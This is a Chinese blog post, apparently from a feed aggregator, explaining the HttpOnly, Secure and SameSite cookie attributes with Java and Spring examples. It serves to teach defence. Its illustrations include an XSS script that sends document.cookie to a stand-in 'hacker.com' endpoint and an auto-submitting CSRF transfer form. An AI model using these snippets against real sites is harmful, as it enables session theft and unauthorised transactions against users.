惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

GbyAI
GbyAI
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
Security Archives - TechRepublic
Security Archives - TechRepublic
H
Heimdal Security Blog
T
Tenable Blog
Webroot Blog
Webroot Blog
Cisco Talos Blog
Cisco Talos Blog
NISL@THU
NISL@THU
Help Net Security
Help Net Security
W
WeLiveSecurity
量子位
Stack Overflow Blog
Stack Overflow Blog
Schneier on Security
Schneier on Security
Simon Willison's Weblog
Simon Willison's Weblog
Recorded Future
Recorded Future
Martin Fowler
Martin Fowler
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
L
Lohrmann on Cybersecurity
SecWiki News
SecWiki News
Blog — PlanetScale
Blog — PlanetScale
F
Full Disclosure
Recent Commits to openclaw:main
Recent Commits to openclaw:main
小众软件
小众软件
Cyberwarzone
Cyberwarzone
S
Security Affairs
L
LangChain Blog
Hacker News - Newest:
Hacker News - Newest: "LLM"
V
V2EX
WordPress大学
WordPress大学
爱范儿
爱范儿
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
L
LINUX DO - 热门话题
Forbes - Security
Forbes - Security
Engineering at Meta
Engineering at Meta
博客园 - 三生石上(FineUI控件)
Scott Helme
Scott Helme
H
Help Net Security
www.infosecurity-magazine.com
www.infosecurity-magazine.com
C
Cyber Attacks, Cyber Crime and Cyber Security
有赞技术团队
有赞技术团队
IT之家
IT之家
G
Google Developers Blog
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
S
Schneier on Security
Google DeepMind News
Google DeepMind News
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
月光博客
月光博客
Hacker News: Ask HN
Hacker News: Ask HN
O
OpenAI News
宝玉的分享
宝玉的分享

博客园 - 华安

Unity 相机:正交 (Orthographic) vs 透视 (Perspective) - 华安 unity中的button中的onclick控制面板中四个参数的意思分别是什么 - 华安 微信小程序开发中触发 onshow的几种特殊情况 SQL Server备份心得 MYSQL 备份数据库 微信与支付支付功能开发 微信小程序中页面配置下拉刷新 unity中 相机没有视锥效果线框了,如何打开 JSONPath表达式 C# 中的操作JSON类 JObject Spring-boot 中基于 IP 的限流和自动封禁 Filter 登录 用 HMAC-SHA256 实现 TwoFA(二重验证)的坑 利用Spring Boot的 filter 结合ConcurrentHashMap 实现“同一IP每分钟最多允许300个404请求,超出后禁用30分钟访问” pixi-filters中的BackdropBlurFilter使用注意事项 PixiJS中的 SplitBitmapText.chars中的每个 BitmapText的x值分析 legend隐藏不想显示的图例 spring-boot HttpServletResponse response.sendRedirect是会跳转到 http而不是https springboot获取post请求参数 Javascript如何判断是触摸屏还是PC端 JavaScript获取鼠标点一个元素,获取鼠标点击的元素内的位置 spring-boot中配置Mongodbd的问题小结 Rest Template中添加 PATCH请求。 CSS实现修改CheckBox样式 SpringBoot+Thyemleaf报错:Error resolving template Template might not exist or might not be accessible div display flex 如何出现横向滚动条
cookie中的 HttpOnly 、Secure、SameSite 解释
华安 · 2026-02-03 · via 博客园 - 华安

最近再弄网站的安全,被大神指点了下,要设置 cookie的 httpOnly和 Secure这俩属性:

Secure 是 Cookie 的安全属性,控制 Cookie 的传输方式。

Secure=true  →  Cookie 只能通过 HTTPS 传输
Secure=false →  Cookie 可以通过 HTTP 或 HTTPS 传输
浏览器发送 Cookie 的场景:
═══════════════════════════════════════════════════

请求地址          Secure=true         Secure=false
───────────────────────────────────────────────────
https://site.com  ✅ 发送 Cookie      ✅ 发送 Cookie
http://site.com   ❌ 不发送 Cookie     ✅ 发送 Cookie

关键:浏览器判断的是当前页面/请求的协议,不是 Cookie 从哪来的。

为什么需要 Secure

攻击场景(中间人攻击):
═══════════════════════════════════════════════════

用户 ──HTTP──► 攻击者 ──HTTPS──► 银行网站
     (明文)        (窃听)        (安全)

如果没有 Secure:
1. 用户登录银行,银行设置 Cookie: sessionId=xxx; Secure=false
2. 攻击者窃听 HTTP 流量,看到 sessionId=xxx
3. 攻击者用 sessionId 冒充用户操作银行

如果有 Secure:
1. 银行设置 Cookie: sessionId=xxx; Secure=true
2. 用户访问 http://银行.com(被劫持)
3. 浏览器**不发送** sessionId Cookie
4. 攻击者拿不到 sessionId,无法冒充

代码设置

// Java Servlet
Cookie c = new Cookie("sessionId", "xxx");
c.setSecure(true);   // 仅 HTTPS 传输
response.addCookie(c);

// Spring ResponseCookie
ResponseCookie c = ResponseCookie.from("sessionId", "xxx")
    .secure(true)    // 仅 HTTPS
    .build();
| 问题                           | 原因                         | 解决                                     |
| ---------------------------- | -------------------------- | -------------------------------------- |
| 设置了 Secure=true,但登录后没 Cookie | 用 HTTP 访问,浏览器不发送           | 改用 HTTPS,或开发环境设 `Secure=false`         |
| 开发环境无法保持登录                   | 本地是 HTTP,Secure Cookie 被忽略 | `c.setSecure(request.isSecure())` 动态判断 |
| 混合内容警告                       | 页面是 HTTP,但请求 HTTPS 资源      | 全站 HTTPS                               |

最佳实践

// 生产环境:强制 HTTPS + Secure Cookie
Cookie c = new Cookie("sessionId", id);
c.setSecure(true);
c.setHttpOnly(true);  // 同时防 XSS

// 开发环境:自适应
Cookie c = new Cookie("sessionId", id);
c.setSecure(request.isSecure());  // HTTP=false, HTTPS=true

HttpOnly 是 Cookie 的安全属性,防止 JavaScript 访问 Cookie,抵御 XSS(跨站脚本攻击)。

基本含义

HttpOnly=true   →  Cookie 只能通过 HTTP/HTTPS 传输,JavaScript 无法读取
HttpOnly=false  →  JavaScript 可以读取和修改 Cookie

攻击场景对比

❌ 没有 HttpOnly(容易被盗)

攻击步骤(XSS 攻击):
═══════════════════════════════════════════════════

1. 黑客在网站评论区注入恶意脚本:
   <script>
     // 读取用户 Cookie
     var stolen = document.cookie;  
     // 发送到黑客服务器
     fetch('http:// hacker.com/steal?data=' + stolen);
   </script>

2. 用户浏览评论区,脚本执行
3. document.cookie 返回:
   "sessionId=abc123; userToken=xyz789; ..."
4. 黑客拿到 sessionId,冒充用户登录!

被盗的 Cookie:
┌─────────────┬──────────┬──────────┐
│ sessionId   │ 用户身份 │ 可被窃取 │
│ userToken   │ 支付令牌 │ 可被窃取 │
│ 所有 Cookie │ 全部暴露 │ 危险!   │
└─────────────┴──────────┴──────────┘

✅ 有 HttpOnly(安全)

同样的攻击:
═══════════════════════════════════════════════════

1. 黑客注入脚本:<script>alert(document.cookie)</script>
2. 用户浏览,脚本执行
3. document.cookie 返回:
   ""  ← 空字符串!HttpOnly Cookie 不可见
   
4. 黑客只拿到非敏感 Cookie:
   "uiTheme=dark; lastVisit=2024"  ← 无关紧要的
5. sessionId 是 HttpOnly,JavaScript 完全接触不到

工作原理

浏览器内部隔离:
═══════════════════════════════════════════════════

┌─────────────────────────────────────────┐
│         JavaScript 执行环境              │
│  ┌─────────────────────────────────┐    │
│  │ document.cookie → 读取          │    │
│  │ document.cookie = "xxx" → 写入  │    │
│  └─────────────────────────────────┘    │
│         ↓ 只能访问非 HttpOnly            │
├─────────────────────────────────────────┤  ← 隔离墙
│         HTTP 网络层                      │
│  ┌─────────────────────────────────┐    │
│  │ Cookie: sessionId=xxx (HttpOnly)│    │ ← 自动附加
│  │ Cookie: theme=dark (非 HttpOnly)│    │ ← 自动附加
│  └─────────────────────────────────┘    │
│         ↑ 所有 Cookie 都在这里           │
└─────────────────────────────────────────┘

关键:HttpOnly Cookie 对 JS 不可见,但 HTTP 请求自动发送

代码设置

// Java Servlet
Cookie c = new Cookie("sessionId", "xxx");
c.setHttpOnly(true);   // 禁止 JavaScript 访问
c.setSecure(true);     // 同时仅 HTTPS 传输(黄金组合)
response.addCookie(c);

// Spring ResponseCookie(推荐)
ResponseCookie c = ResponseCookie.from("sessionId", "xxx")
    .httpOnly(true)    // 禁止 JS
    .secure(true)      // 仅 HTTPS
    .sameSite("Strict") // 防 CSRF
    .build();

哪些 Cookie 需要 HttpOnly

| Cookie 类型      | 需要 HttpOnly | 原因              |
| -------------- | ----------- | --------------- |
| **Session ID** | ✅ 必须        | 身份凭证,被盗=账号被接管   |
| **JWT Token**  | ✅ 必须        | 登录凭证            |
| **支付令牌**       | ✅ 必须        | 金融安全            |
| **用户偏好**       | ❌ 可选        | 主题、语言,可被 JS 读取  |
| **追踪 ID**      | ❌ 可选        | 分析统计,通常需要 JS 访问 |

常见误区

误区 1:HttpOnly 防止 Cookie 被发送到服务器
❌ 错误!HttpOnly Cookie 依然会随 HTTP 请求自动发送
✅ 它只是对 JavaScript 隐藏

误区 2:HttpOnly 防止网络窃听
❌ 错误!HttpOnly 不加密传输
✅ 需要配合 Secure(HTTPS)才能防窃听

误区 3:设置了 HttpOnly 就绝对安全
❌ 错误!XSS 还能做其他坏事(钓鱼、挖矿等)
✅ HttpOnly 只是防御层之一

安全最佳实践(黄金组合)

// 登录凭证 Cookie 的标准配置
Cookie session = new Cookie("JSESSIONID", id);
session.setHttpOnly(true);    // 防 XSS 窃取
session.setSecure(true);      // 防网络窃听(仅 HTTPS)
session.setPath("/");         // 全站有效
session.setMaxAge(1800);      // 30分钟过期
response.addCookie(session);

// 非敏感 Cookie(可被 JS 读取)
Cookie theme = new Cookie("theme", "dark");
theme.setHttpOnly(false);     // 允许 JS 修改主题
response.addCookie(theme);

HttpOnly vs Secure 对比

| 属性           | 防护对象       | 攻击类型    | 作用位置       |
| ------------ | ---------- | ------- | ---------- |
| **HttpOnly** | JavaScript | XSS 攻击  | 浏览器内部隔离    |
| **Secure**   | 网络传输       | 中间人窃听   | HTTPS 加密通道 |
| **SameSite** | 跨站请求       | CSRF 攻击 | 请求来源控制     |

三者一起用 = 完整的 Cookie 安全防护

SameSite 是 Cookie 的安全属性,控制 Cookie 在跨站请求中的发送行为,防止 CSRF(跨站请求伪造) 攻击

三种取值

| 值          | 含义     | 跨站请求时            |
| ---------- | ------ | ---------------- |
| **Strict** | 最严格    | 完全禁止发送 Cookie    |
| **Lax**    | 宽松(默认) | 部分安全请求发送         |
| **None**   | 无限制    | 总是发送(需配合 Secure) |

什么是"跨站"

判定规则(简化版):
═══════════════════════════════════════════════════

当前页面          请求目标          是否跨站
───────────────────────────────────────────────────
https://a.com    https://a.com      同站 ✅
https://a.com    https://b.com      跨站 ❌
https://a.com    http://a.com       跨站 ❌(协议不同)

注意:顶级域名相同但子域不同也算跨站
https://www.a.com  vs  https://api.a.com  →  同站(现代浏览器放宽)
https://a.com      vs  https://b.com      →  跨站

三种模式详解

1. SameSite=Strict(最安全)

场景:用户已登录银行网站 a.com
═══════════════════════════════════════════════════

当前在 a.com 页面:
  点击链接 → b.com → 跳转回 a.com
  此时 a.com 的 Cookie ✅ 会发送(同站导航)

当前在 b.com 页面:
  点击链接 → a.com
  此时 a.com 的 Cookie ❌ 不会发送!Strict 禁止所有跨站

结果:从外部进入银行网站,需要重新登录
优点:彻底防 CSRF
缺点:用户体验稍差(直接跳转需重新登录)

2. SameSite=Lax(平衡,推荐)

场景同上,但行为更宽松:
═══════════════════════════════════════════════════

在 b.com 页面操作:
┌─────────────────┬─────────────────┬─────────────────┐
│ 操作类型        │ 是否发送 Cookie │ 示例            │
├─────────────────┼─────────────────┼─────────────────┤
│ 点击 <a> 链接   │ ✅ 发送         │ 正常跳转        │
│ GET 表单提交    │ ✅ 发送         │ 搜索框          │
│ POST 表单提交   │ ❌ 不发送       │ 转账表单 ✓防CSRF │
│ AJAX/Fetch      │ ❌ 不发送       │ 异步请求        │
│ <img> 加载      │ ❌ 不发送       │ 追踪像素        │
│ <iframe> 嵌入   │ ❌ 不发送       │ 嵌套页面        │
└─────────────────┴─────────────────┴─────────────────┘

结果:正常使用流畅,危险操作(POST/异步)被阻止

3. SameSite=None(兼容旧系统)

要求:
- 必须同时设置 Secure=true(仅 HTTPS)
- 允许所有跨站请求发送 Cookie

场景:
- 单点登录(SSO)
- 第三方嵌入(支付、地图、分析)
- 跨域 API 调用

风险:
- 完全暴露给 CSRF 攻击
- 需额外防御(Token 验证等)

CSRF 攻击原理与防护

攻击场景(没有 SameSite)

攻击步骤:
═══════════════════════════════════════════════════

1. 用户登录银行 a.com,Cookie: sessionId=xxx(自动保存)

2. 用户访问恶意网站 b.com,页面包含:
   <form action="https://a.com/transfer" method="POST">
     <input name="to" value="hacker_account">
     <input name="amount" value="10000">
   </form>
   <script>document.forms[0].submit()</script>

3. 表单自动提交到 a.com
4. 浏览器自动附加 Cookie: sessionId=xxx
5. 银行服务器验证 sessionId 有效 → 执行转账!
6. 用户钱被转走,但完全不知情

SameSite=Lax 阻止攻击

同样的攻击:
═══════════════════════════════════════════════════

1. 用户在 b.com,表单 POST 到 a.com
2. 浏览器检查:b.com → a.com 是跨站
3. SameSite=Lax 规则:POST 请求 ❌ 不发送 Cookie
4. 请求到达 a.com,但没有 sessionId
5. 银行返回:未登录,拒绝操作
6. 攻击失败!

代码设置

// Spring ResponseCookie(推荐)
ResponseCookie c = ResponseCookie.from("sessionId", "xxx")
    .httpOnly(true)       // 防 XSS
    .secure(true)         // 仅 HTTPS
    .sameSite("Lax")      // 防 CSRF(推荐)
    .build();

response.addHeader(HttpHeaders.SET_COOKIE, c.toString());

// 生成的 Set-Cookie 头:
// Set-Cookie: sessionId=xxx; HttpOnly; Secure; SameSite=Lax

传统 Servlet Cookie 不支持 SameSite,必须手动构造:

// 手动构造(如果不用 Spring)
String cookie = String.format(
    "sessionId=%s; Path=/; HttpOnly; Secure; SameSite=Lax",
    sessionId
);
response.addHeader("Set-Cookie", cookie);

浏览器默认值变化

时间线:
═══════════════════════════════════════════════════

2016 年之前:SameSite=None(无限制,危险)
2019 年 Chrome 77:未指定默认 SameSite=Lax
2020 年 2 月:Chrome 80 强制实施
2021 年起:现代浏览器全部默认 Lax

影响:
- 旧代码没设 SameSite,以前能跨站,现在可能失效
- 必须显式设置 SameSite=None 才能恢复跨站行为

实际配置建议

@Configuration
public class CookieConfig {
    
    // 普通业务 Cookie(防 CSRF)
    public static ResponseCookie strictCookie(String name, String value) {
        return ResponseCookie.from(name, value)
            .httpOnly(true)
            .secure(true)
            .sameSite("Lax")      // 默认,平衡安全与体验
            .path("/")
            .maxAge(Duration.ofMinutes(30))
            .build();
    }
    
    // 单点登录/第三方集成 Cookie(需跨站)
    public static ResponseCookie crossSiteCookie(String name, String value) {
        return ResponseCookie.from(name, value)
            .httpOnly(true)
            .secure(true)         // None 必须 Secure
            .sameSite("None")     // 允许跨站
            .path("/")
            .maxAge(Duration.ofHours(1))
            .build();
    }
}

四属性安全总结

| 属性           | 防护      | 攻击类型 | 必备?  |
| ------------ | ------- | ---- | ---- |
| **HttpOnly** | 防 JS 读取 | XSS  | ✅ 必须 |
| **Secure**   | 防网络窃听   | 中间人  | ✅ 必须 |
| **SameSite** | 防跨站伪造   | CSRF | ✅ 必须 |
| **Max-Age**  | 防长期有效   | 会话劫持 | 建议设置 |

黄金组合:

Set-Cookie: sessionId=xxx; 
  Path=/; 
  Max-Age=1800; 
  HttpOnly; 
  Secure; 
  SameSite=Lax

这四个属性一起,构成现代 Web 安全的 Cookie 标准。